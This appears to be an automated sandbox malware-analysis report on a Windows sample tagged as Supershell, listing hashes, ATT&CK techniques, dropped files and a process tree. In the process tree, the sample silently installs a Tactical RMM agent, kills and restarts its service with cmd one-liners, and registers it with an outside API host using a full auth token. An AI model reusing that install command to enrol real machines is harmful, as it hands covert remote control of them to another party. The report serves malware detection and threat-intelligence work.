supershell | 0bef25f7d512c540689b0015048ff47595718a560cdbe066a58dfa81a5e36883

General

Target
2026-10-22_9dd3cf6e3ba2f33f2b8adfc7b55647c0_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
Size 5.0MB
Sample261024-de2f4sht6j
SHA256 0bef25f7d512c540689b0015048ff47595718a560cdbe066a58dfa81a5e36883
MD5 9dd3cf6e3ba2f33f2b8adfc7b55647c0
SHA1 b8f31383003be5102b30d288ce6d609d8ef71c79
SHA512 683475e81891fd59ec40979dd4774c17aa47914af3f464321e7bd127d476cf890390488ffeea35ef1f2d222b73f2f18268234a8a5e60361955d796651533ffbc
SSDEEP 49152:ARg0nHoi1juVvrb/T8vO90d7HjmAFd4A64nsfJmp6dEcZ4Vx9n5vnYkrhj3V15CB:bi1juVwwGf5fzj3zGEy+eAK
TLSH
T1CC363B47F85551E8C1AED234CA259263BA707C891B3033D36BA0F7B82B73BD46A79354
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

backdoor defense_evasion discovery execution supershell installer

Malware Config

Signatures

Family: Supershell
Supershell is a cross-platfrom reverse shell written in Golang.
backdoor supershell

Executes dropped EXE 4 IoCs

pid	Process
3776	tacticalagent-v2.11.0-windows-amd64.exe
1600	tacticalagent-v2.11.0-windows-amd64.tmp
612	tacticalrmm.exe
3152	tacticalrmm.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\TacticalAgent\agent.log	tacticalrmm.exe
File created	C:\Program Files\TacticalAgent\unins000.dat	tacticalagent-v2.11.0-windows-amd64.tmp
File created	C:\Program Files\TacticalAgent\is-NSE4N.tmp	tacticalagent-v2.11.0-windows-amd64.tmp
File created	C:\Program Files\TacticalAgent\is-CBUL7.tmp	tacticalagent-v2.11.0-windows-amd64.tmp
File opened for modification	C:\Program Files\TacticalAgent\unins000.dat	tacticalagent-v2.11.0-windows-amd64.tmp
File opened for modification	C:\Program Files\TacticalAgent\agent.log	tacticalrmm.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4472	cmd.exe
3988	cmd.exe
3192	cmd.exe
2452	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	tacticalrmm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-22_9dd3cf6e3ba2f33f2b8adfc7b55647c0_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-22_9dd3cf6e3ba2f33f2b8adfc7b55647c0_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	tacticalrmm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	tacticalrmm.exe

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tacticalagent-v2.11.0-windows-amd64.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tacticalagent-v2.11.0-windows-amd64.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4472	cmd.exe
3028	PING.EXE

Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/files/0x000d00000001c5b9-2.dat	innosetup
behavioral2/memory/3776-3-0x0000000000CF0000-0x0000000000DD2000-memory.dmp	innosetup
behavioral2/memory/3776-24-0x0000000000CF0000-0x0000000000DD2000-memory.dmp	innosetup

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
5716	taskkill.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3028	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
612	tacticalrmm.exe
3152	tacticalrmm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5716	taskkill.exe
Token: SeDebugPrivilege	612	tacticalrmm.exe
Token: SeDebugPrivilege	3152	tacticalrmm.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1600	tacticalagent-v2.11.0-windows-amd64.tmp

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2904 wrote to memory of 3776	2904	2026-10-22_9dd3cf6e3ba2f33f2b8adfc7b55647c0_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe	90
PID 3776 wrote to memory of 1600	3776	tacticalagent-v2.11.0-windows-amd64.exe	91
PID 1600 wrote to memory of 4472	1600	tacticalagent-v2.11.0-windows-amd64.tmp	92
PID 4472 wrote to memory of 3028	4472	cmd.exe	94
PID 4472 wrote to memory of 5112	4472	cmd.exe	95
PID 5112 wrote to memory of 5928	5112	net.exe	96
PID 1600 wrote to memory of 3988	1600	tacticalagent-v2.11.0-windows-amd64.tmp	97
PID 3988 wrote to memory of 5716	3988	cmd.exe	99
PID 1600 wrote to memory of 3192	1600	tacticalagent-v2.11.0-windows-amd64.tmp	101
PID 3192 wrote to memory of 612	3192	cmd.exe	103
PID 1600 wrote to memory of 2452	1600	tacticalagent-v2.11.0-windows-amd64.tmp	104
PID 2452 wrote to memory of 2996	2452	cmd.exe	106
PID 2996 wrote to memory of 1828	2996	net.exe	107
PID 2904 wrote to memory of 3152	2904	2026-10-22_9dd3cf6e3ba2f33f2b8adfc7b55647c0_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe	108

C:\Users\Admin\AppData\Local\Temp\2026-10-22_9dd3cf6e3ba2f33f2b8adfc7b55647c0_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-22_9dd3cf6e3ba2f33f2b8adfc7b55647c0_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:2904
- C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe
  C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe /VERYSILENT /SUPPRESSMSGBOXES
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3776
- - C:\Users\Admin\AppData\Local\Temp\is-MU2KC.tmp\tacticalagent-v2.11.0-windows-amd64.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-MU2KC.tmp\tacticalagent-v2.11.0-windows-amd64.tmp" /SL5="$9005C,4216799,861184,C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe" /VERYSILENT /SUPPRESSMSGBOXES
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1600
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrmm
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      Suspicious use of WriteProcessMemory
      PID:4472
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 2
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3028
    - - C:\Windows\SysWOW64\net.exe
        
        net stop tacticalrmm
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5112
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop tacticalrmm
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5928
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c taskkill /F /IM tacticalrmm.exe
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3988
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM tacticalrmm.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5716
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c tacticalrmm.exe -m installsvc
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3192
    - - C:\Program Files\TacticalAgent\tacticalrmm.exe
        
        tacticalrmm.exe -m installsvc
        5⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Reads the TCP/IP host and domain name from the registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:612
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c net start tacticalrmm
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2452
    - - C:\Windows\SysWOW64\net.exe
        
        net start tacticalrmm
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2996
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start tacticalrmm
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1828
- C:\Program Files\TacticalAgent\tacticalrmm.exe
  "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m install --api https://api.kanokla.com --client-id 8 --site-id 29 --agent-type workstation --auth 3caf5b0b01885037528a8eb83a0a06fb5aedefa414cdcf9850741c576d0bf355
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3152

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

2

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

tacticalrmm.exe

Path C:\Program Files\TacticalAgent\tacticalrmm.exe
Size 11.8MB
SHA256 50bd75acffec398028502fca967529f72cff40083dfbe137a9712628bcc0fef1
MD5 80870a33b3193b4ff3f7a69b5d7c0435
SHA1 cdde55f326b3a65eb245955dffc36df9a67e4d3a
SHA512 4b91cf7f666a702c46b2475e8cd71808b8ce4676049b126d9be132b470bb04b57be01fd68b2746ed6f4cba230f8acf3826b8150d9e4fd6fcb9c902e9e77c9670
SSDEEP 98304:MI3j/UYn30X1kTDVvCXjMbvO/E4QZBRABbgFxfvr4T:HQYEFK1EuOch/Cpofvrc
TLSH
T1A3C64B07F85551E8C5AED174CA659222BA713C890B3067D72BA0F7B83F33BD46A7A350
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tacticalagent-v2.11.0-windows-amd64.exe

Path C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe
Size 5.0MB
SHA256 99b5544169550f7915322411b90af71dc9883d53ba5938025e7db440b6cc1d5e
MD5 2d4dc1db99354c263cb0d1aece38a6e1
SHA1 8dc78c7e4319c07a7841e5ffb5efd364fb8fb84e
SHA512 fd3e496b1d299f55f6c4eae048523b00fe8283a12d6601de611d5895a3bcb8ebfb4bf8788b273b53f01784825e402863b6a67e382e4c85e2772601d76942bd6b
SSDEEP 98304:rxHXsCT42oq6JMQ0tJ0QBuBai0IrQfkm23FaoHKUdwwT3EQSQAIbC4qYh:VsCTdo5MDtJBu42Qfj8QUdwwTUQSl4x
TLSH
T14736121372CB653FE07A4A364972D232543B7E60AA128C66A7F45C6FFE261D01D3F642
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tacticalagent-v2.11.0-windows-amd64.tmp

Path C:\Users\Admin\AppData\Local\Temp\is-MU2KC.tmp\tacticalagent-v2.11.0-windows-amd64.tmp
Size 3.4MB
SHA256 4e50d7fcd52abdf13c2159b53b6a4fa7c6483c3eaebf3bf792db129e6fd80e73
MD5 f6b0c1231af7693ae81b0db9f49ae666
SHA1 0a67071ce00758cc28d00ed1c2bd4b9ab8e70e47
SHA512 2a6b41df2def3d29fecffd601edc2dc25094ec1f073d9d4b6d4707139849ace99f0e5653942260f96670d319e8f37cf4ef48f672b840ae2810be29c9df2cb423
SSDEEP 49152:2WwGHAkqMu7ot6SCiGogq5i18ue5TEhkq2nV9oNq3Z52gu3cfcW333dKR:29GdkS5i181E2V9oKdu3W333dy
TLSH
T126F55C23F24D693ED05B3E3D663792B0987B7A602D128C576AEC3E4C5F355802E2A747
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1600-10-0x0000000002970000-0x0000000002971000-memory.dmp

Download

memory/1600-23-0x0000000000300000-0x000000000066E000-memory.dmp

Download

memory/3776-3-0x0000000000CF0000-0x0000000000DD2000-memory.dmp

Download

memory/3776-24-0x0000000000CF0000-0x0000000000DD2000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads